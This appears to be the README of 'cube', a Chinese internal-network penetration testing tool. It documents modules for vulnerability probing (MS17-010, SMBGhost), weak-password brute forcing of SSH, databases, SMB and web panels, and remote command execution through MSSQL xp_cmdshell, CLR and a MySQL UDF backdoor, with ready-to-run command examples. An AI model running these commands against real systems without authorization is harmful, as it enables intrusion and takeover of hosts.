cube

2022-1-15 03:45:8 Author: github.com 阅读量:6 收藏

CUBE

代码整体可读性比较差,各位师傅如果对源代码感兴趣,建议看netxfly师傅X-Crack仓库的 README.txt,我只是在X-Crack的基础上套了一层壳。

code

适用内网渗透测试。 F-Scrack的翻版,给fscan和Ladon做了个分类,X-Crack 套壳 ,包括三个模块信息收集(probe)、弱密码爆破(crack)、命令执行(sqlcmd),参考gobuster的爆破模式

Usage:
  cube [command]

Available Commands:
  crack       crack service password, avaliable plugin: smb,mongo,postgres,ssh,mysql,ftp,redis,elastic,mssql
  help        Help about any command
  probe       collect pentest environment information
  sqlcmd      exec sql query or cmd

Flags:
      --delay int     delay for request 
  -h, --help          help for cube
  -n, --threads int   Number of concurrent threads (default 30)
      --timeout int   Timeout each thread waits (default 5)
  -v, --verbose       Verbose output (errors)

Flags

下面都是全局参数,适用任何模块

--delay 每次的请求之间的时间延迟,设定参数之后,多线程数量强制设为1,用于在流量监控特别敏感的内网(感觉没有什么卵用)

--threads 设定多线程数量,默认30

--verbose Debug模式输出

Probe 内网信息收集

内网探测信息,有如下插件:

插件名称 插件效果 默认端口
oxid 探测多网卡和windows位数 TCP 135
netbios netscan UDP 137和TCP 139
ms17010 ms17010漏洞 TCP 445
zookeeper zookeeper未授权 TCP 2181
smbghost smbghost漏洞 TCP 445
ntlm-smb NTLM信息收集(smbv1和smbv2) TCP 445
ntlm-wmi NTLM信息收集 TCP 135
ntlm-winrm NTLM信息收集 TCP 5985
ntlm-mssql NTLM信息收集 TCP 1433
rmi RMI服务探测 TCP 1099
dubbo Dubbo服务探测 TCP 20880
docker Docker API探测 TCP 2375
ping 主机存活探测 N/A
ALL选项默认加载插件: docker,rmi,oxid,netbios,ntlm-smb,zookeeper
cube probe -x oxid -i 192.168.2.1/24
cube probe -x oxid,ms17010 -i 192.168.2.1/24
cube probe -x ALL -i 192.168.2.1/24

Probe注意事项

  • Probe模块的插件一般情况下不用指定端口
  • ntlm-smb模块发送了smbv1和smbv2探测包,smbv1的返回包会包含具体的操作系统,smbv2只会有一个Build版本号,比如Win10常见的Build: 10.0.19041, 10.0.19044可以指 Windows 10 或 Windows Server 2019 的 21H1 版本。
  • netbios使用udp扫描,udp本身是不可靠协议,建议低线程,比如--threads 10,netbios也可以扫描多网卡并且支持中文主机名
  • ntlm-smb、ntlm-wmi、ntlm-winrm、ntlm-mssql都是获取NTLM信息的插件,全部支持中文主机名
  • oxid扫描多网卡和主机位数,从impacket的getArch.py抄来的,支持中文主机名
  • 内网Linux主机比较多的时候使用crack模块探测ssh,mysql,redis,Windows主机较多的时候使用probe模块下的netbiosntlm-*探测

Crack 弱密码爆破

Usage:
  cube crack [flags]

Flags:
  -h, --help               help for crack
  -i, --ip string          ip (e.g. 10.0.0.1, 10.0.0.5-10, 192.168.1.*, 192.168.10.0/24, in the nmap format.)
      --ip-file string     ip file
  -p, --pass string        login password
      --pass-file string   login password file
  -x, --plugin string      avaliable plugin: redis,postgres,mssql,elastic,ssh,mysql,ftp,smb,mongo
      --port string        if the service is on a different default port, define it here
  -u, --user string        login user
      --user-file string   login user file

Global Flags:
      --delay int     delay for request
  -n, --threads int   Number of concurrent threads (default 30)
      --timeout int   Timeout each thread waits (default 5)
  -v, --verbose       Verbose output (errors)

用户名(-u/--user-file)和密码(-p/--pass-file)成对出现,可以任意组合, 可用插件:ssh,mysql,redis,elastic,ftp,httpbasic,mongo,mssql,smb,postgres smb插件的域爆破没有充分测试

插件名称 插件效果 默认端口
mysql Mysql爆破 TCP 3306
mssql Mssql爆破 TCP 1433
mongo Mongo爆破 TCP 27017
elastic ES爆破 TCP 9200
postgres postgres爆破(未测试) TCP 5432
ssh SSH爆破 TCP 22
redis redis爆破 TCP 6379
ftp ftp爆破 TCP 21
smb smb爆破(支持域爆破: 用户名 DC1\administrator ) TCP 445
插件名称 插件效果 默认端口
httpbasic basic认证爆破 自己指定
jenkins jenkins爆破 自己指定
phpmyadmin phpmyadmin爆破 自己指定
zabbix zabbix爆破(超过5个密码锁定30s) 自己指定
Examples:
cube crack -u root -p root -i 192.168.1.1 -x ALL //加载全部可组合插件
cube crack -u root -p root -i 192.168.1.1 -x ssh
cube crack -u root -p root -i 192.168.1.1 -x ssh --port 2222
cube crack -u root,ubuntu -p 123,000111,root -x ssh -i 192.168.1.1
cube crack -u root -p root -i 192.168.1.1/24 -x ssh
cube crack -u root --pass-file pass.txt -i 192.168.1.1/24 -x ssh
cube crack -u root --pass-file pass.txt -i 192.168.1.1/24 -x ssh,mysql

phpmyadmin、httpbasic、jenkins、zabbix插件只能单独使用,不可组合:
cube crack -u root --pass-file pass.txt -i http://192.168.1.1 -x phpmyadmin
cube crack -u root --pass-file pass.txt -i http://192.168.1.1 -x httpbasic
cube crack -u root --pass-file pass.txt -i http://192.168.1.1 -x jenkins
cube crack -u root --pass-file pass.txt -i http://192.168.1.1 -x zabbix
//sqlserver爆破密码的代码(Event Code): 18456

crack注意事项

  • 未指定用户密码的时候使用内置密码列表
  • redis未授权也会爆破出来一个密码,可忽略

Sqlcmd 命令执行

执行命令,可用插件: ssh,mssql(开启xp_cmdshell),mssql-wscript,mssql-com,mssql-clr, mysql

插件名称 插件效果 默认端口
ssh ssh命令执行,仅支持密码 TCP 22
mssql mssql开启命令执行 TCP 1433
mssql-wscript mssql开启命令执行 TCP 1433
mssql-com mssql开启命令执行 TCP 1433
mssql-clr mssql开启命令执行 TCP 1433
mysql msql开启命令执行,仅支持Windows x64 TCP 3306
Examples:
cube sqlcmd -x ssh://172.16.157.163:2222 -usa -p123456 -e "whoami"  //指定端口


cube sqlcmd -x mssql://172.16.157.163 -usa -p123456 -e "whoami"
cube sqlcmd -x mssql://172.16.157.163 -usa -p123456 -e "clear" //clear xp_cmdshell

cube sqlcmd -x mssql-wscript://172.16.157.163 -usa -p123456 -e "whoami"
cube sqlcmd -x mssql-wscript://172.16.157.163 -usa -p123456 -e "clear" //clear sp_oacreate


cube sqlcmd -x mssql-com://172.16.157.163 -usa -p123456 -e "whoami"
cube sqlcmd -x mssql-com://172.16.157.163 -usa -p123456 -e "clear" //clear sp_oacreate


cube sqlcmd -x mssql-clr://172.16.157.163 -usa -p123456 -e "whoami"
cube sqlcmd -x mssql-clr://172.16.157.163 -usa -p123456 -e "clear" //clear CLR

cube sqlcmd -x mysql://172.16.157.163 -uroot -p123456 -e "whoami"
cube sqlcmd -x mysql://172.16.157.163 -uroot -p123456 -e "clear" //clear udf backdoor

TODO

dbe95f8e-2be7-4b70-96f3-369be27fa432
27ecede4-7987-44af-ab7d-eeacd740a084
74103b90-29af-413f-b203-a3eb4f7e95b8
  • NTLM SSP信息收集扫描,
  • 增加输出CSV
  • 增加sqlcmd的mssql命令执行
  • 增加请求间隔延迟 --delay,当设定这个选项的时候,线程强制设为1,这个选项大概用不上?
  • 变量名和函数名优化
  • SMB和OXID输出的中文乱码问题 Golang的字符编码与regexp
  • NetBios模块复制nextnet
  • 尝试改造为interface实现

httpx -title --follow-redirects --status-code -tech-detect --title -ports 8000,8080,8888

参考

声明

特别声明:此工具仅限于安全研究,禁止使用该项目进行违法操作,否则自行承担相关责任